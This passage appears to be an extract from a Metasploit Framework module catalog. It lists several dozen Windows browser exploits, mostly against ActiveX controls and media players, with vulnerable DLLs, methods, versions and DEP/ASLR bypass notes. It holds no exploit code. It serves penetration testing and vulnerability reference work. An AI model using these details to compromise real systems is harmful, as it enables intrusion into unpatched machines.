  Disclosed: 2009-09-29

Payload information:
  Space: 2048

Description:
  This module exploits a directory traversal in Persits Software Inc's
  XUpload ActiveX control(version 3.0.0.3) that's included in HP
LoadRunner 9.5.
  By passing a string containing "..\" sequences to the
MakeHttpRequest method,
  an attacker is able to write arbitrary files to arbitrary locations
on disk.

  Code execution occurs by writing to the All Users Startup Programs
directory.
  You may want to combine this module with the use of exploit/multi/
handler since a
  user would have to log for the payload to execute.
```

```
End Exploit Number 1481

Begin Exploit Number 1482
       Name: IBM Lotus QuickR qp2 ActiveX Buffer Overflow
     Module: exploit/windows/browser/quickr_qp2_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-23

Payload information:
  Space: 978

Description:
  This module exploits a buffer overflow vulnerability on the
UploadControl
  ActiveX. The vulnerability exists in the handling of the
"Attachment_Times"
  property, due to the insecure usage of the _swscanf. The affected
ActiveX is
  provided by the qp2.dll installed with the IBM Lotus Quickr product.

  This module has been tested successfully on IE6-IE9 on Windows XP,
Vista and 7,
  using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr
compatible module
  msvcr71.dll is used. This one is installed with the qp2 ActiveX.

End Exploit Number 1482

Begin Exploit Number 1483
       Name: Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX
Arbitrary Code Execution
     Module: exploit/windows/browser/real_arcade_installerdlg
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-04-03

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Real Networks Arcade Game's
ActiveX control. The "exec"
```

```
  function found in InstallerDlg.dll (v2.6.0.445) allows remote
attackers to run arbitrary commands
  on the victim machine.

End Exploit Number 1483

Begin Exploit Number 1484
       Name: RealNetworks RealPlayer CDDA URI Initialization
Vulnerability
     Module: exploit/windows/browser/realplayer_cdda_uri
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-11-15

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits an initialization flaw within RealPlayer
11/11.1 and
  RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an
object
  initialization failure. However, this failure is improperly handled
and
  uninitialized memory executed.

End Exploit Number 1484

Begin Exploit Number 1485
       Name: RealPlayer rmoc3260.dll ActiveX Control Heap Corruption
     Module: exploit/windows/browser/realplayer_console
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-03-08

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a heap corruption vulnerability in the
RealPlayer ActiveX control.
  By sending a specially crafted string to the 'Console' property
  in the rmoc3260.dll control, an attacker may be able to execute
  arbitrary code.

End Exploit Number 1485

Begin Exploit Number 1486
       Name: RealPlayer ierpplug.dll ActiveX Control Playlist Name
Buffer Overflow
     Module: exploit/windows/browser/realplayer_import
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-18

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in RealOne Player V2
Gold Build 6.0.11.853 and
  RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string
to the "Import()"
  method, an attacker may be able to execute arbitrary code.

End Exploit Number 1486

Begin Exploit Number 1487
       Name: RealNetworks Realplayer QCP Parsing Heap Overflow
     Module: exploit/windows/browser/realplayer_qcp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-08-16

Payload information:
  Space: 1024

Description:
  This module exploits a heap overflow in Realplayer when handling
a .QCP file.
  The specific flaw exists within qcpfformat.dll. A static 256 byte
buffer is
  allocated on the heap and user-supplied data from the file is copied
within a
  memory copy loop.
  This allows a remote attacker to execute arbitrary code running in
the context
  of the web browser via a .QCP file with a specially crafted "fmt"
chunk.
  At this moment this module exploits the flaw on Windows XP IE6, IE7.

End Exploit Number 1487

Begin Exploit Number 1488
       Name: RealNetworks RealPlayer SMIL Buffer Overflow
     Module: exploit/windows/browser/realplayer_smil
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-03-01

Payload information:
  Space: 500
  Avoid: 18 characters

Description:
  This module exploits a stack buffer overflow in RealNetworks
RealPlayer 10 and 8.
  By creating a URL link to a malicious SMIL file, a remote attacker
could
  overflow a buffer and execute arbitrary code.
  When using this module, be sure to set the URIPATH with an extension
of '.smil'.
  This module has been tested with RealPlayer 10 build 6.0.12.883 and
RealPlayer 8
  build 6.0.9.584.

End Exploit Number 1488

Begin Exploit Number 1489
       Name: Roxio CinePlayer ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/roxio_cineplayer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-04-11

Payload information:
  Space: 1024
  Avoid: 6 characters
```

```
Description:
  This module exploits a stack-based buffer overflow in SonicPlayer
ActiveX
  control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer
3.2.
  By setting an overly long value to 'DiskType', an attacker can
overrun
  a buffer and execute arbitrary code.

End Exploit Number 1489

Begin Exploit Number 1490
       Name: Apple Safari Webkit libxslt Arbitrary File Creation
     Module: exploit/windows/browser/safari_xslt_output
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-20

Payload information:
  Space: 2048

Description:
  This module exploits a file creation vulnerability in the Webkit
  rendering engine. It is possible to redirect the output of a XSLT
  transformation to an arbitrary file. The content of the created file
must be
  ASCII or UTF-8. The destination path can be relative or absolute.
This module
  has been tested on Safari and Maxthon. Code execution can be
achieved by first
  uploading the payload to the remote machine in VBS format, and then
upload a MOF
  file, which enables Windows Management Instrumentation service to
execute the VBS.

End Exploit Number 1490

Begin Exploit Number 1491
       Name: Samsung NET-i Viewer Multiple ActiveX BackupToAvi()
Remote Overflow
     Module: exploit/windows/browser/
samsung_neti_wiewer_backuptoavi_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2012-04-21

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX
control installed
  with the Samsung NET-i viewer 1.37.

  Specifically, when supplying a long string for the fname parameter
to the
  BackupToAvi method, an integer overflow occurs, which leads to a
posterior buffer
  overflow due to the use of memcpy with an incorrect size, resulting
in remote code
  execution under the context of the user.

End Exploit Number 1491

Begin Exploit Number 1492
       Name: Samsung Security Manager 1.4 ActiveMQ Broker Service PUT
Method Remote Code Execution
     Module: exploit/windows/browser/samsung_security_manager_put
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-05

Payload information:

Description:
  This is an exploit against Samsung Security Manager that bypasses
the patch in ZDI-15-156 & ZDI-16-481
  by exploiting the vulnerability against the client-side. This
exploit has been tested successfully using
  IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS
and reach the vulnerable PUT. Finally
  a traversal is used in the PUT request to upload the code just where
we want it and gain RCE as SYSTEM.

End Exploit Number 1492

Begin Exploit Number 1493
       Name: SAP AG SAPgui EAI WebViewer3D Buffer Overflow
     Module: exploit/windows/browser/sapgui_saveviewtosessionfile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-03-31

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Siemens Unigraphics 
Solutions
  Teamcenter Visualization EAI WebViewer3D ActiveX control that is 
bundled
  with SAPgui. When passing an overly long string the 
SaveViewToSessionFile()
  method, arbitrary code may be executed.

End Exploit Number 1493

Begin Exploit Number 1494
       Name: Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code 
Execution
     Module: exploit/windows/browser/siemens_solid_edge_selistctrlx
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-26

Payload information:
  Space: 906

Description:
  This module exploits the SEListCtrlX ActiveX installed with the 
Siemens Solid Edge product.
  The vulnerability exists on several APIs provided by the control, 
where user supplied input
  is handled as a memory pointer without proper validation, allowing 
an attacker to read and
  corrupt memory from the target process. This module abuses the 
methods NumChildren() and
  DeleteItem() in order to achieve memory info leak and remote code 
execution respectively.
  This module has been tested successfully on IE6-IE9 on Windows XP 
SP3 and Windows 7 SP1,
  using Solid Edge 10.4.
```

```
End Exploit Number 1494

Begin Exploit Number 1495
       Name: SoftArtisans XFile FileManager ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/softartisans_getdrivename
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-08-25

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in SoftArtisans XFile
FileManager ActiveX control
  (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the
GetDriveName() method
  an attacker may be able to execute arbitrary code.

End Exploit Number 1495

Begin Exploit Number 1496
       Name: SonicWall SSL-VPN NetExtender ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/sonicwall_addrouteentry
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-11-01

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in SonicWall SSL-VPN
NetExtender.
  By sending an overly long string to the "AddRouteEntry()" method
located
  in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to
execute
  arbitrary code.
```

```
End Exploit Number 1496

Begin Exploit Number 1497
       Name: Symantec Altiris Deployment Solution ActiveX Control
Arbitrary File Download and Execute
     Module: exploit/windows/browser/
symantec_altirisdeployment_downloadandinstall
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-09-09

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to install and execute arbitrary
files on a users file system via
  AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against
Symantec Altiris Deployment Solution 6.9 sp3.

End Exploit Number 1497

Begin Exploit Number 1498
       Name: Symantec Altiris Deployment Solution ActiveX Control
Buffer Overflow
     Module: exploit/windows/browser/symantec_altirisdeployment_runcmd
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-11-04

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Symantec Altiris
Deployment Solution.
  When sending an overly long string to RunCmd() method of
  AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to
execute arbitrary
  code.

End Exploit Number 1498
```

```
Begin Exploit Number 1499
       Name: Symantec AppStream LaunchObj ActiveX Control Arbitrary
File Download and Execute
     Module: exploit/windows/browser/symantec_appstream_unsafe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-01-15

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in Symantec AppStream Client
5.x. The vulnerability
  is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82)
containing the "installAppMgr()"
  method. The insecure method can be exploited to download and execute
arbitrary files in the
  context of the currently logged-on user.

End Exploit Number 1499

Begin Exploit Number 1500
       Name: Symantec BackupExec Calendar Control Buffer Overflow
     Module: exploit/windows/browser/symantec_backupexec_pvcalendar
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-02-28

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Symantec BackupExec
Calendar Control.
  By sending an overly long string to the "_DOWText0" property located
  in the pvcalendar.ocx control, an attacker may be able to execute
  arbitrary code.

End Exploit Number 1500

Begin Exploit Number 1501
```

```
       Name: Symantec ConsoleUtilities ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/
symantec_consoleutilities_browseandsavefile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-11-02

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Symantecs
ConsoleUtilities.
  By sending an overly long string to the "BrowseAndSaveFile()" method
located
  in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker
may be able to
  execute arbitrary code

End Exploit Number 1501

Begin Exploit Number 1502
       Name: Synactis PDF In-The-Box ConnectToSynactic Stack Buffer
Overflow
     Module: exploit/windows/browser/synactis_connecttosynactis_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-30

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Synactis' PDF In-The-
Box ActiveX
  component, specifically PDF_IN_1.ocx.  When a long string of data is
given
  to the ConnectToSynactis function, which is meant to be used for the
ldCmdLine
  argument of a WinExec call, a strcpy routine can end up overwriting
a TRegistry
  class pointer saved on the stack, resulting in arbitrary code
execution under the
```

```
  context of the user.

    Also note that since the WinExec function is used to call the 
default browser,
  you must be aware that: 1) The default must be Internet Explorer, 
and 2) when the
  exploit runs, another browser will pop up.

    Synactis PDF In-The-Box is also used by other software such as 
Logic Print 2013,
  which is how the vulnerability was found and publicly disclosed.

End Exploit Number 1502

Begin Exploit Number 1503
       Name: Husdawg, LLC. System Requirements Lab ActiveX Unsafe 
Method
     Module: exploit/windows/browser/systemrequirementslab_unsafe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-10-16

Payload information:
  Space: 2048

Description:
  This module allows attackers to execute code via an unsafe method in
  Husdawg, LLC. System Requirements Lab ActiveX Control 
(sysreqlab2.dll 2.30.0.0)

End Exploit Number 1503

Begin Exploit Number 1504
       Name: TeeChart Professional ActiveX Control Trusted Integer 
Dereference
     Module: exploit/windows/browser/teechart_pro
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-08-11

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits an integer overflow in TeeChart Pro ActiveX
control. When
  sending an overly large/negative integer value to the AddSeries()
property of
  TeeChart2010.ocx, the code will perform an arithmetic operation that
wraps the
  value and is later directly trusted and called upon.

  This module has been designed to bypass DEP only under IE8 with Java
support. Multiple
  versions (including the latest version) are affected by this
vulnerability that date
  back to as far as 2001.

  The following controls are vulnerable:

  TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-
FB89-11D4-93C9-006008A7EED4);
  TeeChart6.ocx Version 6.0.0.5 (clsid:
536600D3-70FE-4C50-92FB-640F6BFC49AD);
  TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-
F07D78F2422E);
  TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-
ABD2-0BF8DEEC1196);
  TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-
BD18-54C3B3287258).

  The controls are deployed under several SCADA based systems
including:

  Unitronics OPC server v1.3;
  BACnet Operator Workstation Version 1.0.76

End Exploit Number 1504

Begin Exploit Number 1505
       Name: Tom Sawyer Software GET Extension Factory Remote Code
Execution
     Module: exploit/windows/browser/tom_sawyer_tsgetx71ex552
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-03

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits a remote code execution vulnerability in the
tsgetx71ex553.dll
  ActiveX control installed with Tom Sawyer GET Extension Factory due
to an incorrect
  initialization under Internet Explorer.

  While the Tom Sawyer GET Extension Factory is installed with some
versions of VMware
  Infrastructure Client, this module has been tested only with the
versions installed
  with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio
Portal 1.6. The ActiveX
  control tested is tsgetx71ex553.dll, version 5.5.3.238.

  This module achieves DEP and ASLR bypass using the well known
msvcr71.dll rop chain. The
  dll is installed by default with the Embarcadero software, and
loaded by the targeted
  ActiveX.

End Exploit Number 1505

Begin Exploit Number 1506
       Name: Trend Micro Internet Security Pro 2010 ActiveX
extSetOwner() Remote Code Execution
     Module: exploit/windows/browser/trendmicro_extsetowner
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-25

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a remote code execution vulnerability in Trend
Micro
  Internet Security Pro 2010 ActiveX.
  When sending an invalid pointer to the extSetOwner() function of
UfPBCtrl.dll
  an attacker may be able to execute arbitrary code.

End Exploit Number 1506

Begin Exploit Number 1507
```

```
       Name: Trend Micro OfficeScan Client ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/trendmicro_officescan
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-02-12

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Trend Micro
OfficeScan
  Corporate Edition 7.3. By sending an overly long string to the
  "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll
Control,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1507

Begin Exploit Number 1508
       Name: Tumbleweed FileTransfer vcst_eu.dll ActiveX Control
Buffer Overflow
     Module: exploit/windows/browser/tumbleweed_filetransfer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-04-07

Payload information:
  Space: 1000
  Avoid: 41 characters

Description:
  This module exploits a stack buffer overflow in the vcst_eu.dll
  FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
  SecureTransport suite. By sending an overly long string to the
  TransferFile() 'remotefile' function, an attacker may be able
  to execute arbitrary code.

End Exploit Number 1508

Begin Exploit Number 1509
       Name: Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code
```

```
Execution
     Module: exploit/windows/browser/ubisoft_uplay_cmd_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-29

Payload information:

Description:
  The uplay ActiveX component allows an attacker to execute any 
command line action.
  User must sign in, unless auto-sign in is enabled and uplay must not 
already be
  running.  Due to the way the malicious executable is served 
(WebDAV), the module
  must be run on port 80, so please make sure you have enough 
privilege to do that.
  Ubisoft released patch 2.04 as of Mon 20th July.

End Exploit Number 1509

Begin Exploit Number 1510
       Name: TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg 
Buffer Overflow
     Module: exploit/windows/browser/ultramjcam_openfiledig_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in TRENDnet SecurView 
Internet
  Camera's ActiveX control.  By supplying a long string of data as the 
sFilter
  argument of the OpenFileDlg() function, it is possible to trigger a 
buffer
  overflow condition due to WideCharToMultiByte (which converts 
unicode back to)
  overwriting the stack more than it should, which results arbitrary 
code execution
  under the context of the user.
```

```
End Exploit Number 1510

Begin Exploit Number 1511
       Name: Ultra Shareware Office Control ActiveX HttpUpload Buffer
Overflow
     Module: exploit/windows/browser/ultraoffice_httpupload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-08-27

Payload information:
  Space: 4096
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in Ultra
Shareware's Office
  Control. When processing the 'HttpUpload' method, the arguments are
concatenated
  together to form a command line to run a bundled version of cURL. If
the command
  fails to run, a stack-based buffer overflow occurs when building the
error
  message. This is due to the use of sprintf() without proper bounds
checking.

  NOTE: Due to input restrictions, this exploit uses a heap-spray to
get the payload
  into memory unmodified.

End Exploit Number 1511

Begin Exploit Number 1512
       Name: VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow
     Module: exploit/windows/browser/verypdf_pdfview
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-06-16

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  The VeryPDF PDFView ActiveX control is prone to a heap buffer-
overflow
  because it fails to properly bounds-check user-supplied data before
copying
  it into an insufficiently sized memory buffer. An attacker can
exploit this issue
  to execute arbitrary code within the context of the affected
application.

End Exploit Number 1512

Begin Exploit Number 1513
       Name: Viscom Software Movie Player Pro SDK ActiveX 6.8
     Module: exploit/windows/browser/viscom_movieplayer_drawtext
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-01-12

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1
ActiveX control
  in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK
ActiveX 6.8 allows
  remote attackers to execute arbitrary code via a long strFontName
parameter to the
  DrawText method.

  The victim will first be required to trust the publisher Viscom
Software.
  This module has been designed to bypass DEP and ASLR under XP IE8,
Vista and Win7
  with Java support.

End Exploit Number 1513

Begin Exploit Number 1514
       Name: VLC AMV Dangling Pointer Vulnerability
     Module: exploit/windows/browser/vlc_amv
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2011-03-23

Payload information:
  Avoid: 1 characters

Description:
  This module exploits VLC media player when handling a .AMV file. By 
flipping
  the 0x41st byte in the file format (video width/height), VLC crashes 
due to an
  invalid pointer, which allows remote attackers to gain arbitrary 
code execution.
  The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, 
VLC 1.1.7. Also,
  please note that IE 8 targets require Java support in order to run 
properly.

End Exploit Number 1514

Begin Exploit Number 1515
       Name: VLC MMS Stream Handling Buffer Overflow
     Module: exploit/windows/browser/vlc_mms_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-15

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in VLC media player VLC media 
player prior
  to 2.0.0. The vulnerability is due to a dangerous use of sprintf 
which can result
  in a stack buffer overflow when handling a malicious MMS URI.

  This module uses the browser as attack vector. A specially crafted 
MMS URI is
  used to trigger the overflow and get flow control through SEH 
overwrite. Control
  is transferred to code located in the heap through a standard heap 
spray.

  The module only targets IE6 and IE7 because no DEP/ASLR bypass has 
been provided.
```

```
End Exploit Number 1515

Begin Exploit Number 1516
       Name: WebDAV Application DLL Hijacker
     Module: exploit/windows/browser/webdav_dll_hijacker
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2010-08-18

Payload information:
  Space: 2048

Description:
  This module presents a directory of file extensions that can lead to
  code execution when opened from the share. The default EXTENSIONS
option
  must be configured to specify a vulnerable application type.

End Exploit Number 1516

Begin Exploit Number 1517
       Name: WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer
Overflow
     Module: exploit/windows/browser/webex_ucf_newobject
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-08-06

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in WebEx's
WebexUCFObject
  ActiveX Control. If a long string is passed to the 'NewObject'
method, a stack-
  based buffer overflow will occur when copying attacker-supplied data
using the
  sprintf function.

  It is noteworthy that this vulnerability was discovered and reported
by multiple
```

```
  independent researchers. To quote iDefense's advisory, "Before this
issue was
  publicly reported, at least three independent security researchers
had knowledge
  of this issue; thus, it is reasonable to believe that even more
people were aware
  of this issue before disclosure."

  NOTE: Due to input restrictions, this exploit uses a heap-spray to
get the payload
  into memory unmodified.

End Exploit Number 1517

Begin Exploit Number 1518
       Name: KingScada kxClientDownload.ocx ActiveX Remote Code
Execution
     Module: exploit/windows/browser/
wellintech_kingscada_kxclientdownload
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-01-14

Payload information:
  Space: 2048

Description:
  This module abuses the kxClientDownload.ocx ActiveX control
distributed with WellingTech KingScada.
  The ProjectURL property can be abused to download and load arbitrary
DLLs from
  arbitrary locations, leading to arbitrary code execution, because of
a dangerous
  usage of LoadLibrary. Due to the nature of the vulnerability, this
module will work
  only when Protected Mode is not present or not enabled.

End Exploit Number 1518

Begin Exploit Number 1519
       Name: Winamp Playlist UNC Path Computer Name Overflow
     Module: exploit/windows/browser/winamp_playlist_unc
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-01-29

Payload information:
  Space: 526
  Avoid: 6 characters

Description:
  This module exploits a vulnerability in the Winamp media player.
  This flaw is triggered when an audio file path is specified, inside
a
  playlist, that consists of a UNC path with a long computer name.
This
  module delivers the playlist via the browser. This module has only
  been successfully tested on Winamp 5.11 and 5.12.

End Exploit Number 1519

Begin Exploit Number 1520
       Name: Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer
Overflow
     Module: exploit/windows/browser/winamp_ultravox
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-01-18

Payload information:
  Space: 700
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in Winamp 5.24. By
  sending an overly long artist tag, a remote attacker may
  be able to execute arbitrary code. This vulnerability can be
  exploited from the browser or the Winamp client itself.

End Exploit Number 1520

Begin Exploit Number 1521
       Name: WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/windvd7_applicationtype
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-03-20
```

```
Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in IASystemInfo.dll
ActiveX
  control in InterVideo WinDVD 7. By sending an overly long string
  to the "ApplicationType()" property, an attacker may be able to
  execute arbitrary code.

End Exploit Number 1521

Begin Exploit Number 1522
       Name: WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX
Buffer Overflow
     Module: exploit/windows/browser/winzip_fileview
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-11-02

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could
allow a
  remote attacker to execute arbitrary code on the system. The control
contains
  several unsafe methods and is marked safe for scripting and safe for
initialization.
  A remote attacker could exploit this vulnerability to execute
arbitrary code on the
  victim system. WinZip 10.0 <= Build 6667 are vulnerable.

End Exploit Number 1522

Begin Exploit Number 1523
       Name: Microsoft WMI Administration Tools ActiveX Buffer
Overflow
     Module: exploit/windows/browser/wmi_admintools
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-12-21

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a memory trust issue in the Microsoft WMI
  Administration tools ActiveX control. When processing a specially
crafted
  HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will
treat
  the 'lCtxHandle' parameter to the 'AddContextRef' and
'ReleaseContext' methods
  as a trusted pointer. It makes an indirect call via this pointer
which leads
  to arbitrary code execution.

  This exploit utilizes a combination of heap spraying and the
  .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module
does not
  opt-in to ASLR. As such, this module should be reliable on all
Windows
  versions.

  The WMI Administrative Tools are a standalone download & install
(linked in the
  references).

End Exploit Number 1523

Begin Exploit Number 1524
       Name: X360 VideoPlayer ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/x360_video_player_set_text_bof
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-01-30

Payload information:
  Space: 1024

Description:
  This module exploits a buffer overflow in the VideoPlayer.ocx
ActiveX installed with the
  X360 Software. By setting an overly long value to 'ConvertFile()',
an attacker can overrun
  a .data buffer to bypass ASLR/DEP and finally execute arbitrary
```

```
code.

End Exploit Number 1524

Begin Exploit Number 1525
       Name: XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow
     Module: exploit/windows/browser/xmplay_asx
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-11-21

Payload information:
  Space: 750
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in XMPlay 3.3.0.4.
  The vulnerability is caused due to a boundary error within
  the parsing of playlists containing an overly long file name.
  This module uses the ASX file format.

End Exploit Number 1525

Begin Exploit Number 1526
       Name: Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/yahoomessenger_fvcom
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-08-30

Payload information:
  Space: 800
  Avoid: 6 characters

